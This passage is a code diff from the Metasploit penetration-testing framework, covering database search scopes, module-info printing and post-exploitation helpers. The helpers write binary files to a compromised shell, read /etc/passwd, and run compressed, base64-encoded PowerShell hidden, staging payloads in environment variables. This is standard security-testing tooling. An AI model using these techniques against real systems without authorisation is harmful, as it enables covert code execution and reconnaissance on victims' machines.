||||
host.services.each do |s|
|
||||
next if not s.info
|
||||
# XXX: This hack solves the memory leak generated by self.services.each {}
|
||||
fingerprintable_services = self.services.where("name is not null and name != '' and info is not null and info != ''")
|
||||
fingerprintable_services.each do |s|
|
||||
points = 0
|
||||
case s.name
|
||||
when 'smb'
|
||||
|
|
|
@ -10,6 +10,15 @@ module MetasploitDataModels::ActiveRecordModels::Loot
|
|||
|
||||
before_destroy :delete_file
|
||||
|
||||
scope :search, lambda { |*args|
|
||||
where(["loots.ltype ILIKE ? OR " +
|
||||
"loots.name ILIKE ? OR " +
|
||||
"loots.info ILIKE ? OR " +
|
||||
"loots.data ILIKE ?",
|
||||
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%"
|
||||
])
|
||||
}
|
||||
|
||||
private
|
||||
|
||||
def delete_file
|
||||
|
|
|
@ -10,6 +10,13 @@ module MetasploitDataModels::ActiveRecordModels::Note
|
|||
|
||||
scope :flagged, where('critical = true AND seen = false')
|
||||
scope :visible, where(notes[:ntype].not_in(['web.form', 'web.url', 'web.vuln']))
|
||||
scope :search, lambda { |*args|
|
||||
where(["(data NOT ILIKE 'BAh7%' AND data LIKE ?)" +
|
||||
"OR (data ILIKE 'BAh7%' AND decode(data, 'base64') LIKE ?)" +
|
||||
"OR ntype ILIKE ?",
|
||||
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%"
|
||||
])
|
||||
}
|
||||
|
||||
|
||||
after_save :normalize
|
||||
|
|
|
@ -23,8 +23,9 @@ module MetasploitDataModels::ActiveRecordModels::Service
|
|||
where([
|
||||
"services.name ILIKE ? OR " +
|
||||
"services.info ILIKE ? OR " +
|
||||
"services.proto ILIKE ? OR " +
|
||||
"services.port = ? ",
|
||||
"%#{args[0]}%", "%#{args[0]}%", (args[0].to_i > 0) ? args[0].to_i : 99999
|
||||
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%", (args[0].to_i > 0) ? args[0].to_i : 99999
|
||||
])
|
||||
}
|
||||
|
||||
|
|
|
@ -10,10 +10,16 @@ module MetasploitDataModels::ActiveRecordModels::Session
|
|||
|
||||
scope :alive, where("closed_at IS NULL")
|
||||
scope :dead, where("closed_at IS NOT NULL")
|
||||
scope :upgradeable, where("closed_at IS NULL AND stype = 'shell' and platform ILIKE '%win%'")
|
||||
|
||||
serialize :datastore, ::MetasploitDataModels::Base64Serializer.new
|
||||
|
||||
before_destroy :stop
|
||||
|
||||
def upgradeable?
|
||||
(self.platform =~ /win/ and self.stype == 'shell')
|
||||
end
|
||||
|
||||
|
||||
private
|
||||
|
||||
|
@ -21,6 +27,7 @@ module MetasploitDataModels::ActiveRecordModels::Session
|
|||
c = Pro::Client.get rescue nil
|
||||
c.session_stop(self.local_id) rescue nil # ignore exceptions (XXX - ideally, stopped an already-stopped session wouldn't throw XMLRPCException)
|
||||
end
|
||||
|
||||
}
|
||||
end
|
||||
end
|
||||
|
|
|
@ -10,6 +10,13 @@ module MetasploitDataModels::ActiveRecordModels::Vuln
|
|||
|
||||
after_update :save_refs
|
||||
|
||||
scope :search, lambda { |*args|
|
||||
where(["(vulns.name ILIKE ? or vulns.info ILIKE ? or refs.name ILIKE ?)",
|
||||
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%"
|
||||
]).
|
||||
joins("LEFT OUTER JOIN vulns_refs ON vulns_refs.vuln_id=vulns.id LEFT OUTER JOIN refs ON refs.id=vulns_refs.ref_id")
|
||||
}
|
||||
|
||||
private
|
||||
|
||||
def save_refs
|
||||
|
|
|
@ -6,14 +6,14 @@ Gem::Specification.new do |s|
|
|||
|
||||
s.required_rubygems_version = Gem::Requirement.new("> 1.3.1") if s.respond_to? :required_rubygems_version=
|
||||
s.authors = ["Trevor Rosen"]
|
||||
s.date = "2012-04-24"
|
||||
s.date = "2012-05-18"
|
||||
s.description = "Implements minimal ActiveRecord models and database helper code used in both the Metasploit Framework (MSF) and Metasploit commercial editions."
|
||||
s.email = ["trevor_rosen@rapid7.com"]
|
||||
s.executables = ["mdm_console"]
|
||||
s.files = ["bin/mdm_console"]
|
||||
s.homepage = ""
|
||||
s.require_paths = ["lib"]
|
||||
s.rubygems_version = "1.8.21"
|
||||
s.rubygems_version = "1.8.15"
|
||||
s.summary = "Database code for MSF and Metasploit Pro"
|
||||
|
||||
if s.respond_to? :specification_version then
|
||||
|
|
|
@ -165,13 +165,7 @@ class ReadableText
|
|||
output << "\n"
|
||||
|
||||
# References
|
||||
if (mod.references.length > 0)
|
||||
output << "References:\n"
|
||||
mod.references.each { |ref|
|
||||
output << indent + ref.to_s + "\n"
|
||||
}
|
||||
output << "\n"
|
||||
end
|
||||
output << dump_references(mod, indent)
|
||||
|
||||
return output
|
||||
|
||||
|
@ -209,13 +203,7 @@ class ReadableText
|
|||
output << "\n"
|
||||
|
||||
# References
|
||||
if (mod.references.length > 0)
|
||||
output << "References:\n"
|
||||
mod.references.each { |ref|
|
||||
output << indent + ref.to_s + "\n"
|
||||
}
|
||||
output << "\n"
|
||||
end
|
||||
output << dump_references(mod, indent)
|
||||
|
||||
return output
|
||||
end
|
||||
|
@ -282,7 +270,11 @@ class ReadableText
|
|||
# Description
|
||||
output << "Description:\n"
|
||||
output << word_wrap(Rex::Text.compress(mod.description))
|
||||
output << "\n\n"
|
||||
output << "\n"
|
||||
|
||||
output << dump_references(mod, indent)
|
||||
|
||||
output << "\n"
|
||||
|
||||
return output
|
||||
|
||||
|
@ -369,6 +361,20 @@ class ReadableText
|
|||
return output
|
||||
end
|
||||
|
||||
def self.dump_references(mod, indent = '')
|
||||
output = ''
|
||||
|
||||
if (mod.respond_to? :references and mod.references and mod.references.length > 0)
|
||||
output << "References:\n"
|
||||
mod.references.each { |ref|
|
||||
output << indent + ref.to_s + "\n"
|
||||
}
|
||||
output << "\n"
|
||||
end
|
||||
|
||||
output
|
||||
end
|
||||
|
||||
#
|
||||
# Dumps the contents of a datastore.
|
||||
#
|
||||
|
|
|
@ -173,7 +173,7 @@ module Exploit::Remote::MYSQL
|
|||
print_error "Cannot determine target's architecture"
|
||||
return false
|
||||
else
|
||||
print_error "Target is an incompatible architecture: #{res}"
|
||||
print_error "Target is an incompatible architecture: #{arch}"
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
|
|
@ -212,7 +212,7 @@ protected
|
|||
return nil
|
||||
end
|
||||
|
||||
data = ''
|
||||
data = fd.read
|
||||
begin
|
||||
until fd.eof?
|
||||
data << fd.read
|
||||
|
@ -247,77 +247,83 @@ protected
|
|||
|
||||
chunks = []
|
||||
command = nil
|
||||
encoding = :hex
|
||||
|
||||
line_max = _unix_max_line_length
|
||||
# Leave plenty of room for the filename we're writing to and the
|
||||
# command to echo it out
|
||||
line_max -= file_name.length - 64
|
||||
|
||||
# Default to simple echo. If the data is binary, though, we have to do
|
||||
# something fancy
|
||||
if d =~ /[^[:print:]]/
|
||||
# Ordered by descending likeliness to work
|
||||
[
|
||||
%q^perl -e 'print("\x41")'^,
|
||||
# POSIX awk doesn't have \xNN escapes, use gawk to ensure we're
|
||||
# getting the GNU version.
|
||||
%q^gawk 'BEGIN {ORS = ""; print "\x41"}' </dev/null^,
|
||||
# bash and zsh's echo builtins are apparently the only ones
|
||||
# that support both -e and -n as we need them. Most others
|
||||
# treat all options as just more arguments to print. In
|
||||
# particular, the standalone /bin/echo or /usr/bin/echo appear
|
||||
# never to have -e so don't bother trying them.
|
||||
%q^echo -ne '\x41'^,
|
||||
# printf seems to have different behavior on bash vs sh vs
|
||||
# other shells, try a full path (and hope it's the actual path)
|
||||
%q^/usr/bin/printf '\x41'^,
|
||||
%q^printf '\x41'^,
|
||||
].each { |c|
|
||||
a = session.shell_command_token("#{c}")
|
||||
if "A" == a
|
||||
command = c
|
||||
break
|
||||
#else
|
||||
# p a
|
||||
end
|
||||
}
|
||||
# Ordered by descending likeliness to work
|
||||
[
|
||||
# POSIX standard requires %b which expands octal (but not hex)
|
||||
# escapes in the argument. However, some versions truncate input on
|
||||
# nulls, so "printf %b '\0\101'" produces a 0-length string. The
|
||||
# standalon version seems to be more likely to work than the buitin
|
||||
# version, so try it first
|
||||
{ :cmd => %q^/usr/bin/printf %b 'CONTENTS'^ , :enc => :octal },
|
||||
{ :cmd => %q^printf %b 'CONTENTS'^ , :enc => :octal },
|
||||
# Perl supports both octal and hex escapes, but octal is usually
|
||||
# shorter (e.g. 0 becomes \0 instead of \x00)
|
||||
{ :cmd => %q^perl -e 'print("CONTENTS")'^ , :enc => :octal },
|
||||
# POSIX awk doesn't have \xNN escapes, use gawk to ensure we're
|
||||
# getting the GNU version.
|
||||
{ :cmd => %q^gawk 'BEGIN {ORS = ""; print "CONTENTS"}' </dev/null^ , :enc => :hex },
|
||||
# Use echo as a last resort since it frequently doesn't support -e
|
||||
# or -n. bash and zsh's echo builtins are apparently the only ones
|
||||
# that support both. Most others treat all options as just more
|
||||
# arguments to print. In particular, the standalone /bin/echo or
|
||||
# /usr/bin/echo appear never to have -e so don't bother trying
|
||||
# them.
|
||||
{ :cmd => %q^echo -ne 'CONTENTS'^ , :enc => :hex },
|
||||
].each { |foo|
|
||||
# Some versions of printf mangle %.
|
||||
test_str = "\0\xff\xfeABCD\x7f%%\r\n"
|
||||
if foo[:enc] == :hex
|
||||
cmd = foo[:cmd].sub("CONTENTS"){ Rex::Text.to_hex(test_str) }
|
||||
else
|
||||
cmd = foo[:cmd].sub("CONTENTS"){ Rex::Text.to_octal(test_str) }
|
||||
end
|
||||
a = session.shell_command_token("#{cmd}")
|
||||
if test_str == a
|
||||
command = foo[:cmd]
|
||||
encoding = foo[:enc]
|
||||
break
|
||||
else
|
||||
p a
|
||||
end
|
||||
}
|
||||
|
||||
if command.nil?
|
||||
raise RuntimeError, "Can't find command on the victim for writing binary data", caller
|
||||
end
|
||||
|
||||
# each byte will balloon up to 4 when we hex encode
|
||||
max = line_max/4
|
||||
i = 0
|
||||
while (i < d.length)
|
||||
chunks << Rex::Text.to_hex(d.slice(i...(i+max)))
|
||||
i += max
|
||||
end
|
||||
else
|
||||
i = 0
|
||||
while (i < d.length)
|
||||
chunk = d.slice(i...(i+line_max))
|
||||
# POSIX standard says single quotes cannot appear inside single
|
||||
# quotes and can't be escaped. Replace them with an equivalent.
|
||||
# (Close single quotes, open double quotes containing a single
|
||||
# quote, re-open single qutoes)
|
||||
chunk.gsub!("'", %q|'"'"'|)
|
||||
chunks << chunk
|
||||
i += line_max
|
||||
end
|
||||
command = "echo -n '\\x41'"
|
||||
if command.nil?
|
||||
raise RuntimeError, "Can't find command on the victim for writing binary data", caller
|
||||
end
|
||||
vprint_status("Writing #{d.length} bytes in #{chunks.length} chunks, using #{command.split(" ",2).first}")
|
||||
|
||||
# each byte will balloon up to 4 when we encode
|
||||
# (A becomes \x41 or \101)
|
||||
max = line_max/4
|
||||
|
||||
i = 0
|
||||
while (i < d.length)
|
||||
if encoding == :hex
|
||||
chunks << Rex::Text.to_hex(d.slice(i...(i+max)))
|
||||
else
|
||||
chunks << Rex::Text.to_octal(d.slice(i...(i+max)))
|
||||
end
|
||||
i += max
|
||||
end
|
||||
|
||||
vprint_status("Writing #{d.length} bytes in #{chunks.length} chunks of #{chunks.first.length} bytes (#{encoding}-encoded), using #{command.split(" ",2).first}")
|
||||
|
||||
# The first command needs to use the provided redirection for either
|
||||
# appending or truncating.
|
||||
cmd = command.sub("\\x41", chunks.shift)
|
||||
cmd = command.sub("CONTENTS") { chunks.shift }
|
||||
session.shell_command_token("#{cmd} #{redirect} '#{file_name}'")
|
||||
|
||||
# After creating/truncating or appending with the first command, we
|
||||
# need to append from here on out.
|
||||
chunks.each { |chunk|
|
||||
cmd = command.sub("\\x41", chunk)
|
||||
vprint_status("Next chunk is #{chunk.length} bytes")
|
||||
cmd = command.sub("CONTENTS") { chunk }
|
||||
|
||||
session.shell_command_token("#{cmd} >> '#{file_name}'")
|
||||
}
|
||||
|
@ -336,7 +342,11 @@ protected
|
|||
i=`expr $i + 1`; str=$str$str;\
|
||||
done; echo $max'
|
||||
line_max = session.shell_command_token(calc_line_max).to_i
|
||||
|
||||
# Fall back to a conservative 4k which should work on even the most
|
||||
# restrictive of embedded shells.
|
||||
line_max = (line_max == 0 ? 4096 : line_max)
|
||||
vprint_status("Max line length is #{line_max}")
|
||||
|
||||
line_max
|
||||
end
|
||||
|
|
|
@ -1,150 +1,98 @@
|
|||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/unix'
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Linux
|
||||
module System
|
||||
include ::Msf::Post::Common
|
||||
include ::Msf::Post::File
|
||||
include ::Msf::Post::File
|
||||
|
||||
# Returns a Hash containing Distribution Name, Version and Kernel Information
|
||||
def get_sysinfo
|
||||
system_data = {}
|
||||
etc_files = cmd_exec("ls /etc").split()
|
||||
include ::Msf::Post::Unix
|
||||
|
||||
# Debian
|
||||
if etc_files.include?("debian_version")
|
||||
kernel_version = cmd_exec("uname -a")
|
||||
if kernel_version =~ /Ubuntu/
|
||||
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "ubuntu"
|
||||
system_data[:version] = version
|
||||
system_data[:kernel] = kernel_version
|
||||
else
|
||||
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "debian"
|
||||
system_data[:version] = version
|
||||
system_data[:kernel] = kernel_version
|
||||
end
|
||||
# Returns a Hash containing Distribution Name, Version and Kernel Information
|
||||
def get_sysinfo
|
||||
system_data = {}
|
||||
etc_files = cmd_exec("ls /etc").split()
|
||||
|
||||
# Amazon
|
||||
elsif etc_files.include?("system-release")
|
||||
kernel_version = cmd_exec("uname -a")
|
||||
version = read_file("/etc/system-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "amazon"
|
||||
system_data[:version] = version
|
||||
system_data[:kernel] = kernel_version
|
||||
kernel_version = cmd_exec("uname -a")
|
||||
system_data[:kernel] = kernel_version
|
||||
|
||||
# Fedora
|
||||
elsif etc_files.include?("fedora-release")
|
||||
kernel_version = cmd_exec("uname -a")
|
||||
version = read_file("/etc/fedora-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "fedora"
|
||||
system_data[:version] = version
|
||||
system_data[:kernel] = kernel_version
|
||||
|
||||
# Oracle Linux
|
||||
elsif etc_files.include?("enterprise-release")
|
||||
kernel_version = cmd_exec("uname -a")
|
||||
version = read_file("/etc/enterprise-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "oracle"
|
||||
system_data[:version] = version
|
||||
system_data[:kernel] = kernel_version
|
||||
|
||||
# RedHat
|
||||
elsif etc_files.include?("redhat-release")
|
||||
kernel_version = cmd_exec("uname -a")
|
||||
version = read_file("/etc/redhat-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "redhat"
|
||||
system_data[:version] = version
|
||||
system_data[:kernel] = kernel_version
|
||||
|
||||
# Arch
|
||||
elsif etc_files.include?("arch-release")
|
||||
kernel_version = cmd_exec("uname -a")
|
||||
version = read_file("/etc/arch-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "arch"
|
||||
system_data[:version] = version
|
||||
system_data[:kernel] = kernel_version
|
||||
|
||||
# Slackware
|
||||
elsif etc_files.include?("slackware-version")
|
||||
kernel_version = cmd_exec("uname -a")
|
||||
version = read_file("/etc/slackware-version").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "slackware"
|
||||
system_data[:version] = version
|
||||
system_data[:kernel] = kernel_version
|
||||
|
||||
# Mandrake
|
||||
elsif etc_files.include?("mandrake-release")
|
||||
kernel_version = cmd_exec("uname -a")
|
||||
version = read_file("/etc/mandrake-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "mandrake"
|
||||
system_data[:version] = version
|
||||
system_data[:kernel] = kernel_version
|
||||
|
||||
#SuSE
|
||||
elsif etc_files.include?("SuSE-release")
|
||||
kernel_version = cmd_exec("uname -a")
|
||||
version = read_file("/etc/SuSE-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "suse"
|
||||
system_data[:version] = version
|
||||
system_data[:kernel] = kernel_version
|
||||
|
||||
# Gentoo
|
||||
elsif etc_files.include?("gentoo-release")
|
||||
kernel_version = cmd_exec("uname -a")
|
||||
version = read_file("/etc/gentoo-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "gentoo"
|
||||
system_data[:version] = version
|
||||
system_data[:kernel] = kernel_version
|
||||
else
|
||||
|
||||
# Others
|
||||
kernel_version = cmd_exec("uname -a")
|
||||
# Debian
|
||||
if etc_files.include?("debian_version")
|
||||
if kernel_version =~ /Ubuntu/
|
||||
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "linux"
|
||||
system_data[:distro] = "ubuntu"
|
||||
system_data[:version] = version
|
||||
else
|
||||
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "debian"
|
||||
system_data[:version] = version
|
||||
system_data[:kernel] = kernel_version
|
||||
end
|
||||
return system_data
|
||||
end
|
||||
|
||||
# Returns an array of hashes each representing a user
|
||||
# Keys are name, uid, gid, info, dir and shell
|
||||
def get_users
|
||||
users = []
|
||||
cmd_out = cmd_exec("cat /etc/passwd").split("\n")
|
||||
cmd_out.each do |l|
|
||||
entry = {}
|
||||
user_field = l.split(":")
|
||||
entry[:name] = user_field[0]
|
||||
entry[:uid] = user_field[2]
|
||||
entry[:gid] = user_field[3]
|
||||
entry[:info] = user_field[4]
|
||||
entry[:dir] = user_field[5]
|
||||
entry[:shell] = user_field[6]
|
||||
users << entry
|
||||
end
|
||||
return users
|
||||
end
|
||||
# Amazon
|
||||
elsif etc_files.include?("system-release")
|
||||
version = read_file("/etc/system-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "amazon"
|
||||
system_data[:version] = version
|
||||
|
||||
# Returns an array of hashes each hash representing a user group
|
||||
# Keys are name, gid and users
|
||||
def get_groups
|
||||
groups = []
|
||||
cmd_out = cmd_exec("cat /etc/group").split("\n")
|
||||
cmd_out.each do |l|
|
||||
entry = {}
|
||||
user_field = l.split(":")
|
||||
entry[:name] = user_field[0]
|
||||
entry[:gid] = user_field[2]
|
||||
entry[:users] = user_field[3]
|
||||
groups << entry
|
||||
end
|
||||
return groups
|
||||
# Fedora
|
||||
elsif etc_files.include?("fedora-release")
|
||||
version = read_file("/etc/fedora-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "fedora"
|
||||
system_data[:version] = version
|
||||
|
||||
# Oracle Linux
|
||||
elsif etc_files.include?("enterprise-release")
|
||||
version = read_file("/etc/enterprise-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "oracle"
|
||||
system_data[:version] = version
|
||||
|
||||
# RedHat
|
||||
elsif etc_files.include?("redhat-release")
|
||||
version = read_file("/etc/redhat-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "redhat"
|
||||
system_data[:version] = version
|
||||
|
||||
# Arch
|
||||
elsif etc_files.include?("arch-release")
|
||||
version = read_file("/etc/arch-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "arch"
|
||||
system_data[:version] = version
|
||||
|
||||
# Slackware
|
||||
elsif etc_files.include?("slackware-version")
|
||||
version = read_file("/etc/slackware-version").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "slackware"
|
||||
system_data[:version] = version
|
||||
|
||||
# Mandrake
|
||||
elsif etc_files.include?("mandrake-release")
|
||||
version = read_file("/etc/mandrake-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "mandrake"
|
||||
system_data[:version] = version
|
||||
|
||||
#SuSE
|
||||
elsif etc_files.include?("SuSE-release")
|
||||
version = read_file("/etc/SuSE-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "suse"
|
||||
system_data[:version] = version
|
||||
|
||||
# Gentoo
|
||||
elsif etc_files.include?("gentoo-release")
|
||||
version = read_file("/etc/gentoo-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "gentoo"
|
||||
system_data[:version] = version
|
||||
else
|
||||
|
||||
# Others
|
||||
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "linux"
|
||||
system_data[:version] = version
|
||||
end
|
||||
return system_data
|
||||
end
|
||||
|
||||
|
||||
end # System
|
||||
|
|
|
@ -1,59 +1,29 @@
|
|||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/unix'
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Solaris
|
||||
module System
|
||||
include ::Msf::Post::Common
|
||||
include ::Msf::Post::File
|
||||
include ::Msf::Post::File
|
||||
|
||||
# Returns a Hash containing Distribution Name, Version and Kernel Information
|
||||
def get_sysinfo
|
||||
system_data = {}
|
||||
kernel_version = cmd_exec("uname -a")
|
||||
version = read_file("/etc/release").split("\n")[0].strip
|
||||
system_data[:version] = version
|
||||
system_data[:kernel] = kernel_version
|
||||
system_data[:hostname] = kernel_version.split(" ")[1]
|
||||
return system_data
|
||||
end
|
||||
|
||||
# Returns an array of hashes each representing a user
|
||||
# Keys are name, uid, gid, info, dir and shell
|
||||
def get_users
|
||||
users = []
|
||||
cmd_out = cmd_exec("cat /etc/passwd").split("\n")
|
||||
cmd_out.each do |l|
|
||||
entry = {}
|
||||
user_field = l.split(":")
|
||||
entry[:name] = user_field[0]
|
||||
entry[:uid] = user_field[2]
|
||||
entry[:gid] = user_field[3]
|
||||
entry[:info] = user_field[4]
|
||||
entry[:dir] = user_field[5]
|
||||
entry[:shell] = user_field[6]
|
||||
users << entry
|
||||
end
|
||||
return users
|
||||
end
|
||||
|
||||
# Returns an array of hashes each hash representing a user group
|
||||
# Keys are name, gid and users
|
||||
def get_groups
|
||||
groups = []
|
||||
cmd_out = cmd_exec("cat /etc/group").split("\n")
|
||||
cmd_out.each do |l|
|
||||
entry = {}
|
||||
user_field = l.split(":")
|
||||
entry[:name] = user_field[0]
|
||||
entry[:gid] = user_field[2]
|
||||
entry[:users] = user_field[3]
|
||||
groups << entry
|
||||
end
|
||||
return groups
|
||||
end
|
||||
include ::Msf::Post::Unix
|
||||
|
||||
#
|
||||
# Returns a Hash containing Distribution Name, Version and Kernel
|
||||
# Information
|
||||
#
|
||||
def get_sysinfo
|
||||
system_data = {}
|
||||
kernel_version = cmd_exec("uname -a")
|
||||
version = read_file("/etc/release").split("\n")[0].strip
|
||||
system_data[:version] = version
|
||||
system_data[:kernel] = kernel_version
|
||||
system_data[:hostname] = kernel_version.split(" ")[1]
|
||||
return system_data
|
||||
end
|
||||
|
||||
end # System
|
||||
end # Solaris
|
||||
|
|
|
@ -0,0 +1,209 @@
|
|||
require 'zlib'
|
||||
require 'msf/core/post/common'
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Windows
|
||||
|
||||
module Powershell
|
||||
include ::Msf::Post::Common
|
||||
|
||||
|
||||
# List of running processes, open channels, and env variables...
|
||||
|
||||
|
||||
# Suffix for environment variables
|
||||
|
||||
|
||||
def have_powershell?
|
||||
cmd_out = cmd_exec("powershell get-host")
|
||||
return true if cmd_out =~ /Name.*Version.*InstanceID/
|
||||
return false
|
||||
end
|
||||
|
||||
def make_subs(script, subs)
|
||||
subs.each do |set|
|
||||
script.gsub!(set[0],set[1])
|
||||
end
|
||||
if datastore['VERBOSE']
|
||||
print_good("Final Script: ")
|
||||
script.each_line {|l| print_status("\t#{l}")}
|
||||
end
|
||||
end
|
||||
|
||||
def process_subs(subs)
|
||||
return [] if subs.nil? or subs.empty?
|
||||
new_subs = []
|
||||
subs.split(';').each do |set|
|
||||
new_subs << set.split(',', 2)
|
||||
end
|
||||
return new_subs
|
||||
end
|
||||
|
||||
def read_script(script)
|
||||
script_in = ''
|
||||
begin
|
||||
# Open script file for reading
|
||||
fd = ::File.new(script, 'r')
|
||||
while (line = fd.gets)
|
||||
script_in << line
|
||||
end
|
||||
|
||||
# Close open file
|
||||
fd.close()
|
||||
rescue Errno::ENAMETOOLONG, Errno::ENOENT
|
||||
# Treat script as a... script
|
||||
script_in = script
|
||||
end
|
||||
return script_in
|
||||
end
|
||||
|
||||
|
||||
def compress_script(script_in, eof = nil)
|
||||
|
||||
|
||||
# Compress using the Deflate algorithm
|
||||
compressed_stream = ::Zlib::Deflate.deflate(script_in,
|
||||
::Zlib::BEST_COMPRESSION)
|
||||
|
||||
# Base64 encode the compressed file contents
|
||||
encoded_stream = Rex::Text.encode_base64(compressed_stream)
|
||||
|
||||
# Build the powershell expression
|
||||
# Decode base64 encoded command and create a stream object
|
||||
psh_expression = "$stream = New-Object IO.MemoryStream(,"
|
||||
psh_expression += "$([Convert]::FromBase64String('#{encoded_stream}')));"
|
||||
# Read & delete the first two bytes due to incompatibility with MS
|
||||
psh_expression += "$stream.ReadByte()|Out-Null;"
|
||||
psh_expression += "$stream.ReadByte()|Out-Null;"
|
||||
# Uncompress and invoke the expression (execute)
|
||||
psh_expression += "$(Invoke-Expression $(New-Object IO.StreamReader("
|
||||
psh_expression += "$(New-Object IO.Compression.DeflateStream("
|
||||
psh_expression += "$stream,"
|
||||
psh_expression += "[IO.Compression.CompressionMode]::Decompress)),"
|
||||
psh_expression += "[Text.Encoding]::ASCII)).ReadToEnd());"
|
||||
|
||||
# If eof is set, add a marker to signify end of script output
|
||||
if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
|
||||
|
||||
# Convert expression to unicode
|
||||
unicode_expression = Rex::Text.to_unicode(psh_expression)
|
||||
|
||||
# Base64 encode the unicode expression
|
||||
encoded_expression = Rex::Text.encode_base64(unicode_expression)
|
||||
|
||||
return encoded_expression
|
||||
end
|
||||
|
||||
def execute_script(script, time_out = 15)
|
||||
running_pids, open_channels = [], []
|
||||
# Execute using -EncodedCommand
|
||||
session.response_timeout = time_out
|
||||
cmd_out = session.sys.process.execute("powershell -EncodedCommand " +
|
||||
"#{script}", nil, {'Hidden' => true, 'Channelized' => true})
|
||||
|
||||
# Add to list of running processes
|
||||
running_pids << cmd_out.pid
|
||||
|
||||
# Add to list of open channels
|
||||
open_channels << cmd_out
|
||||
|
||||
return [cmd_out, running_pids, open_channels]
|
||||
end
|
||||
|
||||
def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
|
||||
|
||||
# Check to ensure script is encoded and compressed
|
||||
if compressed_script =~ /\s|\.|\;/
|
||||
compressed_script = compress_script(compressed_script)
|
||||
end
|
||||
# Divide the encoded script into 8000 byte chunks and iterate
|
||||
index = 0
|
||||
count = 8000
|
||||
while (index < compressed_script.size - 1)
|
||||
# Define random, but serialized variable name
|
||||
env_prefix = "%05d" % ((index + 8000)/8000)
|
||||
env_variable = env_prefix + env_suffix
|
||||
|
||||
# Create chunk
|
||||
chunk = compressed_script[index, count]
|
||||
|
||||
# Build the set commands
|
||||
set_env_variable = "[Environment]::SetEnvironmentVariable("
|
||||
set_env_variable += "'#{env_variable}',"
|
||||
set_env_variable += "'#{chunk}', 'User')"
|
||||
|
||||
# Compress and encode the set command
|
||||
encoded_stager = compress_script(set_env_variable)
|
||||
|
||||
# Stage the payload
|
||||
print_good(" - Bytes remaining: #{compressed_script.size - index}")
|
||||
execute_script(encoded_stager)
|
||||
|
||||
# Increment index
|
||||
index += count
|
||||
|
||||
end
|
||||
|
||||
# Build the script reassembler
|
||||
reassemble_command = "[Environment]::GetEnvironmentVariables('User').keys|"
|
||||
reassemble_command += "Select-String #{env_suffix}|Sort-Object|%{"
|
||||
reassemble_command += "$c+=[Environment]::GetEnvironmentVariable($_,'User')"
|
||||
reassemble_command += "};Invoke-Expression $($([Text.Encoding]::Unicode."
|
||||
reassemble_command += "GetString($([Convert]::FromBase64String($c)))))"
|
||||
|
||||
# Compress and encode the reassemble command
|
||||
encoded_script = compress_script(reassemble_command)
|
||||
|
||||
return encoded_script
|
||||
end
|
||||
|
||||
def write_to_log(cmd_out, log_file, eof)
|
||||
# Open log file for writing
|
||||
fd = ::File.new(log_file, 'w+')
|
||||
|
||||
# Read output until eof and write to log
|
||||
while (line = cmd_out.channel.read())
|
||||
if (line.sub!(/#{eof}/, ''))
|
||||
fd.write(line)
|
||||
vprint_good("\t#{line}")
|
||||
cmd_out.channel.close()
|
||||
break
|
||||
end
|
||||
fd.write(line)
|
||||
vprint_good("\t#{line}")
|
||||
end
|
||||
|
||||
# Close log file
|
||||
fd.close()
|
||||
|
||||
return
|
||||
end
|
||||
|
||||
def clean_up(script_file = nil, eof = '', running_pids =[], open_channels = [], env_suffix = Rex::Text.rand_text_alpha(8), delete = false)
|
||||
# Remove environment variables
|
||||
env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|"
|
||||
env_del_command += "Select-String #{env_suffix}|%{"
|
||||
env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}"
|
||||
script = compress_script(env_del_command, eof)
|
||||
cmd_out, running_pids, open_channels = *execute_script(script)
|
||||
write_to_log(cmd_out, "/dev/null", eof)
|
||||
|
||||
# Kill running processes
|
||||
running_pids.each() do |pid|
|
||||
session.sys.process.kill(pid)
|
||||
end
|
||||
|
||||
|
||||
# Close open channels
|
||||
open_channels.each() do |chan|
|
||||
chan.channel.close()
|
||||
end
|
||||
|
||||
::File.delete(script_file) if (script_file and delete)
|
||||
|
||||
return
|
||||
end
|
||||
|
||||
end; end; end; end
|
||||
|
|
@ -140,7 +140,7 @@ class Exploit
|
|||
end
|
||||
|
||||
if not payload
|
||||
